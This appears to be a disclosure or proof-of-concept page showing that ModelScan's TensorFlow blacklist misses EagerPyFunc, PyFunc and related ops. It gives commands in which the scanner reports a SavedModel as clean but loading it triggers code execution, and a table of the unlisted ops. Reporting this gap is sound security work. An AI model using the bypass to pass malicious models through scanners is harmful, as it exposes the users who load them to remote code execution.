Views
No views yet
unsafe_tf_operators blacklist only has 2 entries: ReadFile and WriteFile.EagerPyFunc and PyFunc. All of them pass through ModelScan undetected.EagerPyFunc ops — ModelScan reports 0 Issues, 0 Errors, 0 Skipped.1# 1. ModelScan says CLEAN
2pip install modelscan[all]
3modelscan -p saved_model.pb
4# Output: Issues: 0, Errors: 0, Skipped: 0
5
6# 2. But the graph contains EagerPyFunc
7python3 -c "
8import tensorflow as tf
9data = open('saved_model.pb', 'rb').read()
10print(f'EagerPyFunc: {data.count(b\"EagerPyFunc\")}x')
11print(f'StatefulPartitionedCall: {data.count(b\"StatefulPartitionedCall\")}x')
12"
13
14# 3. Load + call → RCE
15python3 -c "
16import tensorflow as tf
17model = tf.saved_model.load('.')
18print(model(tf.constant([1.0, 2.0, 3.0])))
19print('Check /tmp/PYFUNC_RCE')
20"| Op | Risk | In Blacklist? |
|---|---|---|
| EagerPyFunc | Code execution | ❌ |
| PyFunc | Code execution | ❌ |
| PyFuncStateless | Code execution | ❌ |
| StatefulPartitionedCall | Calls sub-function | ❌ |
| PartitionedCall | Calls sub-function | ❌ |
| WholeFileReader | File read | ❌ |
| WholeFileReaderV2 | File read | ❌ |
| MatchingFiles | Directory listing | ❌ |